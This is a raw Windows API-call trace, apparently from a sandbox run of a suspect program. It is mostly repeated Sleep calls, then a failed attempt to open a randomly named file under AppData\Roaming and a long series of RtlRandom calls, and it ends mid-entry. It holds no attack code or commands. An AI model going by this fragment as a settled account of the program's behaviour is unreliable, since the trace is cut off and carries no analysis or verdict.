[0168.883] Sleep (dwMilliseconds=0x258) [0168.886] Sleep (dwMilliseconds=0x258) [0168.899] Sleep (dwMilliseconds=0x258) [0168.910] Sleep (dwMilliseconds=0x258) [0168.911] Sleep (dwMilliseconds=0x258) [0168.913] Sleep (dwMilliseconds=0x258) [0168.914] Sleep (dwMilliseconds=0x258) [0168.916] Sleep (dwMilliseconds=0x258) [0168.918] Sleep (dwMilliseconds=0x258) [0168.920] Sleep (dwMilliseconds=0x258) [0168.922] Sleep (dwMilliseconds=0x258) [0168.935] Sleep (dwMilliseconds=0x258) [0168.936] Sleep (dwMilliseconds=0x258) [0168.985] Sleep (dwMilliseconds=0x258) [0168.988] Sleep (dwMilliseconds=0x258) [0168.990] Sleep (dwMilliseconds=0x258) [0169.088] Sleep (dwMilliseconds=0x258) [0169.197] Sleep (dwMilliseconds=0x258) [0169.221] Sleep (dwMilliseconds=0x258) [0169.223] Sleep (dwMilliseconds=0x258) [0169.224] Sleep (dwMilliseconds=0x258) [0169.227] Sleep (dwMilliseconds=0x258) [0169.230] Sleep (dwMilliseconds=0x258) [0169.233] Sleep (dwMilliseconds=0x258) [0169.234] Sleep (dwMilliseconds=0x258) [0169.236] Sleep (dwMilliseconds=0x258) [0169.237] Sleep (dwMilliseconds=0x258) [0169.239] Sleep (dwMilliseconds=0x258) [0169.240] Sleep (dwMilliseconds=0x258) [0169.242] Sleep (dwMilliseconds=0x258) [0169.243] Sleep (dwMilliseconds=0x258) [0169.245] Sleep (dwMilliseconds=0x258) [0169.246] Sleep (dwMilliseconds=0x258) [0169.248] Sleep (dwMilliseconds=0x258) [0169.249] Sleep (dwMilliseconds=0x258) [0169.251] Sleep (dwMilliseconds=0x258) [0169.252] Sleep (dwMilliseconds=0x258) [0169.254] Sleep (dwMilliseconds=0x258) [0169.255] Sleep (dwMilliseconds=0x258) [0169.257] Sleep (dwMilliseconds=0x258) [0169.258] Sleep (dwMilliseconds=0x258) [0169.260] Sleep (dwMilliseconds=0x258) [0169.262] Sleep (dwMilliseconds=0x258) [0169.286] Sleep (dwMilliseconds=0x258) [0169.287] Sleep (dwMilliseconds=0x258) [0169.291] Sleep (dwMilliseconds=0x258) [0169.293] Sleep (dwMilliseconds=0x258) [0169.294] Sleep (dwMilliseconds=0x258) [0169.296] Sleep (dwMilliseconds=0x258) [0169.354] Sleep (dwMilliseconds=0x258) [0169.355] Sleep (dwMilliseconds=0x258) [0169.357] Sleep (dwMilliseconds=0x258) [0169.359] Sleep (dwMilliseconds=0x258) [0169.402] Sleep (dwMilliseconds=0x258) [0169.433] Sleep (dwMilliseconds=0x258) [0169.538] Sleep (dwMilliseconds=0x258) [0169.613] Sleep (dwMilliseconds=0x258) [0169.717] Sleep (dwMilliseconds=0x258) [0169.728] Sleep (dwMilliseconds=0x258) [0169.729] Sleep (dwMilliseconds=0x258) [0169.733] Sleep (dwMilliseconds=0x258) [0169.736] Sleep (dwMilliseconds=0x258) [0169.737] Sleep (dwMilliseconds=0x258) [0169.739] Sleep (dwMilliseconds=0x258) [0169.740] Sleep (dwMilliseconds=0x258) [0169.742] Sleep (dwMilliseconds=0x258) [0169.744] Sleep (dwMilliseconds=0x258) [0169.745] Sleep (dwMilliseconds=0x258) [0169.747] Sleep (dwMilliseconds=0x258) [0169.754] Sleep (dwMilliseconds=0x258) [0169.755] Sleep (dwMilliseconds=0x258) [0169.757] Sleep (dwMilliseconds=0x258) [0169.759] Sleep (dwMilliseconds=0x258) [0169.761] Sleep (dwMilliseconds=0x258) [0169.762] Sleep (dwMilliseconds=0x258) [0169.764] Sleep (dwMilliseconds=0x258) [0169.766] Sleep (dwMilliseconds=0x258) [0169.768] Sleep (dwMilliseconds=0x258) [0169.769] Sleep (dwMilliseconds=0x258) [0169.772] Sleep (dwMilliseconds=0x258) [0169.858] Sleep (dwMilliseconds=0x258) [0169.956] Sleep (dwMilliseconds=0x258) [0170.049] Sleep (dwMilliseconds=0x258) [0170.051] Sleep (dwMilliseconds=0x258) [0170.071] Sleep (dwMilliseconds=0x258) [0170.072] Sleep (dwMilliseconds=0x258) [0170.074] Sleep (dwMilliseconds=0x258) [0170.075] Sleep (dwMilliseconds=0x258) [0170.094] Sleep (dwMilliseconds=0x258) [0170.095] Sleep (dwMilliseconds=0x258) [0170.097] Sleep (dwMilliseconds=0x258) [0170.098] Sleep (dwMilliseconds=0x258) [0170.100] Sleep (dwMilliseconds=0x258) [0170.102] Sleep (dwMilliseconds=0x258) [0170.104] Sleep (dwMilliseconds=0x258) [0170.222] Sleep (dwMilliseconds=0x258) [0170.224] Sleep (dwMilliseconds=0x258) [0170.225] Sleep (dwMilliseconds=0x258) [0170.227] Sleep (dwMilliseconds=0x258) [0170.229] Sleep (dwMilliseconds=0x258) [0170.231] Sleep (dwMilliseconds=0x258) [0170.233] Sleep (dwMilliseconds=0x258) [0170.235] Sleep (dwMilliseconds=0x258) [0170.236] Sleep (dwMilliseconds=0x258) [0170.238] Sleep (dwMilliseconds=0x258) [0170.239] Sleep (dwMilliseconds=0x258) [0170.241] Sleep (dwMilliseconds=0x258) [0170.243] Sleep (dwMilliseconds=0x258) [0170.245] Sleep (dwMilliseconds=0x258) [0170.247] Sleep (dwMilliseconds=0x258) [0170.248] Sleep (dwMilliseconds=0x258) [0170.250] Sleep (dwMilliseconds=0x258) [0170.255] Sleep (dwMilliseconds=0x258) [0170.259] Sleep (dwMilliseconds=0x258) [0170.261] Sleep (dwMilliseconds=0x258) [0170.263] Sleep (dwMilliseconds=0x258) [0170.264] Sleep (dwMilliseconds=0x258) [0170.266] Sleep (dwMilliseconds=0x258) [0170.267] Sleep (dwMilliseconds=0x258) [0170.269] Sleep (dwMilliseconds=0x258) [0170.270] Sleep (dwMilliseconds=0x258) [0170.272] Sleep (dwMilliseconds=0x258) [0170.273] Sleep (dwMilliseconds=0x258) [0170.275] Sleep (dwMilliseconds=0x258) [0170.277] Sleep (dwMilliseconds=0x258) [0170.279] Sleep (dwMilliseconds=0x258) [0170.281] Sleep (dwMilliseconds=0x258) [0170.283] Sleep (dwMilliseconds=0x258) [0170.285] Sleep (dwMilliseconds=0x258) [0170.287] Sleep (dwMilliseconds=0x258) [0170.289] Sleep (dwMilliseconds=0x258) [0170.290] Sleep (dwMilliseconds=0x258) [0170.292] Sleep (dwMilliseconds=0x258) [0170.294] Sleep (dwMilliseconds=0x258) [0170.298] Sleep (dwMilliseconds=0x258) [0170.300] Sleep (dwMilliseconds=0x258) [0170.302] Sleep (dwMilliseconds=0x258) [0170.304] Sleep (dwMilliseconds=0x258) [0170.306] Sleep (dwMilliseconds=0x258) [0170.307] Sleep (dwMilliseconds=0x258) [0170.309] Sleep (dwMilliseconds=0x258) [0170.312] Sleep (dwMilliseconds=0x258) [0170.314] Sleep (dwMilliseconds=0x258) [0170.315] Sleep (dwMilliseconds=0x258) [0170.317] Sleep (dwMilliseconds=0x258) [0170.320] Sleep (dwMilliseconds=0x258) [0170.321] Sleep (dwMilliseconds=0x258) [0170.323] Sleep (dwMilliseconds=0x258) [0170.341] Sleep (dwMilliseconds=0x258) [0170.347] Sleep (dwMilliseconds=0x258) [0170.349] Sleep (dwMilliseconds=0x258) [0170.350] Sleep (dwMilliseconds=0x258) [0170.352] Sleep (dwMilliseconds=0x258) [0170.354] Sleep (dwMilliseconds=0x258) [0170.356] Sleep (dwMilliseconds=0x258) [0170.357] Sleep (dwMilliseconds=0x258) [0170.364] Sleep (dwMilliseconds=0x258) [0170.366] Sleep (dwMilliseconds=0x258) [0170.368] Sleep (dwMilliseconds=0x258) [0170.370] Sleep (dwMilliseconds=0x258) [0170.457] Sleep (dwMilliseconds=0x258) [0170.475] Sleep (dwMilliseconds=0x258) [0170.476] Sleep (dwMilliseconds=0x258) [0170.478] Sleep (dwMilliseconds=0x258) [0170.480] Sleep (dwMilliseconds=0x258) [0170.482] Sleep (dwMilliseconds=0x258) [0170.484] Sleep (dwMilliseconds=0x258) [0170.485] Sleep (dwMilliseconds=0x258) [0170.487] Sleep (dwMilliseconds=0x258) [0170.489] Sleep (dwMilliseconds=0x258) [0170.491] Sleep (dwMilliseconds=0x258) [0170.492] Sleep (dwMilliseconds=0x258) [0170.495] Sleep (dwMilliseconds=0x258) [0170.497] Sleep (dwMilliseconds=0x258) [0170.498] Sleep (dwMilliseconds=0x258) [0170.500] Sleep (dwMilliseconds=0x258) [0170.501] Sleep (dwMilliseconds=0x258) [0170.503] Sleep (dwMilliseconds=0x258) [0170.504] Sleep (dwMilliseconds=0x258) [0170.506] Sleep (dwMilliseconds=0x258) [0170.511] Sleep (dwMilliseconds=0x258) [0170.512] Sleep (dwMilliseconds=0x258) [0170.514] Sleep (dwMilliseconds=0x258) [0170.516] Sleep (dwMilliseconds=0x258) [0170.517] Sleep (dwMilliseconds=0x258) [0170.519] Sleep (dwMilliseconds=0x258) [0170.521] Sleep (dwMilliseconds=0x258) [0170.527] Sleep (dwMilliseconds=0x258) [0170.529] Sleep (dwMilliseconds=0x258) [0170.530] Sleep (dwMilliseconds=0x258) [0170.532] Sleep (dwMilliseconds=0x258) [0170.533] Sleep (dwMilliseconds=0x258) [0170.535] Sleep (dwMilliseconds=0x258) [0170.537] Sleep (dwMilliseconds=0x258) [0170.538] Sleep (dwMilliseconds=0x258) [0170.541] Sleep (dwMilliseconds=0x258) [0170.543] Sleep (dwMilliseconds=0x258) [0170.545] Sleep (dwMilliseconds=0x258) [0170.546] Sleep (dwMilliseconds=0x258) [0170.548] Sleep (dwMilliseconds=0x258) [0170.549] Sleep (dwMilliseconds=0x258) [0170.551] Sleep (dwMilliseconds=0x258) [0170.552] Sleep (dwMilliseconds=0x258) [0170.554] Sleep (dwMilliseconds=0x258) [0170.555] Sleep (dwMilliseconds=0x258) [0170.603] Sleep (dwMilliseconds=0x258) [0170.605] Sleep (dwMilliseconds=0x258) [0170.606] Sleep (dwMilliseconds=0x258) [0170.608] Sleep (dwMilliseconds=0x258) [0170.609] Sleep (dwMilliseconds=0x258) [0170.611] Sleep (dwMilliseconds=0x258) [0170.612] Sleep (dwMilliseconds=0x258) [0170.614] Sleep (dwMilliseconds=0x258) [0170.616] Sleep (dwMilliseconds=0x258) [0170.617] Sleep (dwMilliseconds=0x258) [0170.619] Sleep (dwMilliseconds=0x258) [0170.620] Sleep (dwMilliseconds=0x258) [0170.622] Sleep (dwMilliseconds=0x258) [0170.623] Sleep (dwMilliseconds=0x258) [0170.625] Sleep (dwMilliseconds=0x258) [0170.626] Sleep (dwMilliseconds=0x258) [0170.628] Sleep (dwMilliseconds=0x258) [0170.629] Sleep (dwMilliseconds=0x258) [0170.632] Sleep (dwMilliseconds=0x258) [0170.635] Sleep (dwMilliseconds=0x258) [0170.691] Sleep (dwMilliseconds=0x258) [0170.693] Sleep (dwMilliseconds=0x258) [0170.694] Sleep (dwMilliseconds=0x258) [0170.695] Sleep (dwMilliseconds=0x258) [0170.697] Sleep (dwMilliseconds=0x258) [0170.699] Sleep (dwMilliseconds=0x258) [0170.700] Sleep (dwMilliseconds=0x258) [0170.704] Sleep (dwMilliseconds=0x258) [0170.706] Sleep (dwMilliseconds=0x258) [0170.708] Sleep (dwMilliseconds=0x258) [0170.709] Sleep (dwMilliseconds=0x258) [0170.711] Sleep (dwMilliseconds=0x258) [0170.712] Sleep (dwMilliseconds=0x258) [0170.714] Sleep (dwMilliseconds=0x258) [0170.716] Sleep (dwMilliseconds=0x258) [0170.717] Sleep (dwMilliseconds=0x258) [0170.719] Sleep (dwMilliseconds=0x258) [0170.721] Sleep (dwMilliseconds=0x258) [0170.722] Sleep (dwMilliseconds=0x258) [0170.724] Sleep (dwMilliseconds=0x258) [0170.725] Sleep (dwMilliseconds=0x258) [0170.727] Sleep (dwMilliseconds=0x258) [0170.730] Sleep (dwMilliseconds=0x258) [0170.784] Sleep (dwMilliseconds=0x258) [0170.786] Sleep (dwMilliseconds=0x258) [0170.787] Sleep (dwMilliseconds=0x258) [0170.789] Sleep (dwMilliseconds=0x258) [0170.791] Sleep (dwMilliseconds=0x258) [0170.866] Sleep (dwMilliseconds=0x258) [0170.916] Sleep (dwMilliseconds=0x258) [0170.947] Sleep (dwMilliseconds=0x258) [0170.983] Sleep (dwMilliseconds=0x258) [0170.984] Sleep (dwMilliseconds=0x258) [0170.986] Sleep (dwMilliseconds=0x258) [0170.987] Sleep (dwMilliseconds=0x258) [0170.988] Sleep (dwMilliseconds=0x258) [0170.990] Sleep (dwMilliseconds=0x258) [0170.992] Sleep (dwMilliseconds=0x258) [0170.993] Sleep (dwMilliseconds=0x258) [0170.995] Sleep (dwMilliseconds=0x258) [0170.996] Sleep (dwMilliseconds=0x258) [0170.998] Sleep (dwMilliseconds=0x258) [0170.999] Sleep (dwMilliseconds=0x258) [0171.001] Sleep (dwMilliseconds=0x258) [0171.004] Sleep (dwMilliseconds=0x258) [0171.005] Sleep (dwMilliseconds=0x258) [0171.007] Sleep (dwMilliseconds=0x258) [0171.008] Sleep (dwMilliseconds=0x258) [0171.010] Sleep (dwMilliseconds=0x258) [0171.012] Sleep (dwMilliseconds=0x258) [0171.013] Sleep (dwMilliseconds=0x258) [0171.014] Sleep (dwMilliseconds=0x258) [0171.016] Sleep (dwMilliseconds=0x258) [0171.018] Sleep (dwMilliseconds=0x258) [0171.019] Sleep (dwMilliseconds=0x258) [0171.021] Sleep (dwMilliseconds=0x258) [0171.023] Sleep (dwMilliseconds=0x258) [0171.024] Sleep (dwMilliseconds=0x258) [0171.026] Sleep (dwMilliseconds=0x258) [0171.027] Sleep (dwMilliseconds=0x258) [0171.030] Sleep (dwMilliseconds=0x258) [0171.031] Sleep (dwMilliseconds=0x258) [0171.033] Sleep (dwMilliseconds=0x258) [0171.035] Sleep (dwMilliseconds=0x258) [0171.037] Sleep (dwMilliseconds=0x258) [0171.041] Sleep (dwMilliseconds=0x258) [0171.043] Sleep (dwMilliseconds=0x258) [0171.044] Sleep (dwMilliseconds=0x258) [0171.046] Sleep (dwMilliseconds=0x258) [0171.140] Sleep (dwMilliseconds=0x258) [0171.143] Sleep (dwMilliseconds=0x258) [0171.145] Sleep (dwMilliseconds=0x258) [0171.146] Sleep (dwMilliseconds=0x258) [0171.148] Sleep (dwMilliseconds=0x258) [0171.149] Sleep (dwMilliseconds=0x258) [0171.151] Sleep (dwMilliseconds=0x258) [0171.154] Sleep (dwMilliseconds=0x258) [0171.155] Sleep (dwMilliseconds=0x258) [0171.157] Sleep (dwMilliseconds=0x258) [0171.158] Sleep (dwMilliseconds=0x258) [0171.235] Sleep (dwMilliseconds=0x258) [0171.236] Sleep (dwMilliseconds=0x258) [0171.237] Sleep (dwMilliseconds=0x258) [0171.239] Sleep (dwMilliseconds=0x258) [0171.240] Sleep (dwMilliseconds=0x258) [0171.243] Sleep (dwMilliseconds=0x258) [0171.244] Sleep (dwMilliseconds=0x258) [0171.245] Sleep (dwMilliseconds=0x258) [0171.326] Sleep (dwMilliseconds=0x258) [0171.385] Sleep (dwMilliseconds=0x258) [0171.386] Sleep (dwMilliseconds=0x258) [0171.427] Sleep (dwMilliseconds=0x258) [0171.498] Sleep (dwMilliseconds=0x258) [0171.499] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x26) returned 0x9141840 [0171.500] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2ddfe6f [0171.500] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xcb) returned 0x9141890 [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x34170ba0 [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8899533 [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcfeb18d [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb03feecb [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2e8ed32b [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x584223ec [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x821c1ab [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17fbe6dc [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x62dfb4a8 [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1201f665 [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa28aa039 [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7117e1a2 [0171.500] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x63fbe979 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xef4bc42f [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x15d988b2 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6e53846d [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1fc7e7eb [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x15f98a05 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5fbbbdf0 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9c2d7ea5 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xced2a757 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x21b589c8 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f3a5018 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x91a6dffc [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa14fa1fa [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc0153928 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50bf656f [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7463ac05 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf343c0a5 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x72828557 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b953f13 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe34e9a16 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3e3c8ef6 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x43a36dad [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7d7747f3 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1aeb47b7 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2b4c7125 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x88759c38 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd2d7616a [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb641464b [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12c79d6d [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf238cd7d [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa72d125a [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb00be671 [0171.501] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf602866 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f129271 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5112792e [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3a8190d1 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x43d80f4d [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5fe178a0 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xac8dbee9 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x988af10b [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x19cf946e [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x772b2dcc [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9e304cfe [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbcf79c0c [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd54b08eb [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x38a5e1f2 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xee805587 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7be9a597 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1dc5f937 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3969539e [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x84769997 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc5252cf6 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf2f6ae9a [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x242bcdc3 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2c158ac0 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb1698249 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa28e5caa [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb41effd5 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6846123b [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x40681d21 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ae894e6 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x37417042 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6e1ab4fa [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1a7c3f2b [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x63a4b035 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2cd593d7 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd9d707a2 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x952eea5a [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcbc1e16f [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbfde70b0 [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb105e98d [0171.502] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x75914eb1 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8a1ede16 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e350852 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa36373c5 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5bff5661 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x503b14a4 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x726e8ea6 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x70a3b93e [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7d7b8fe1 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x93dce09f [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1912e755 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfe22749e [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe1d3c118 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa139a57b [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x34009a79 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b76ed9c [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5d800357 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1608e21a [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x28e5659 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x26cd3052 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe10b650f [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe7915e3 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b904804 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2d33615f [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa31f29f [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9f457e7e [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3cf249f4 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb4033809 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x63b4b0e7 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf927706 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbfd7cc9a [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd82b6faf [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xba907ea1 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb42491f0 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x30af1c2c [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb0f33e5 [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2fab2f5a [0171.503] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f6904a1 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa6ae2fc6 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4c5bb669 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c6aadac [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7265b6ec [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6bc2fb21 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc5deea0c [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb8155860 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x70c1a48d [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7f9e076d [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf71b9879 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x260e3b56 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd6bcea83 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6903b0cd [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3937ecb8 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x406c1c27 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7c2f0aa7 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x11b11079 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x203dc913 [0171.504] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) 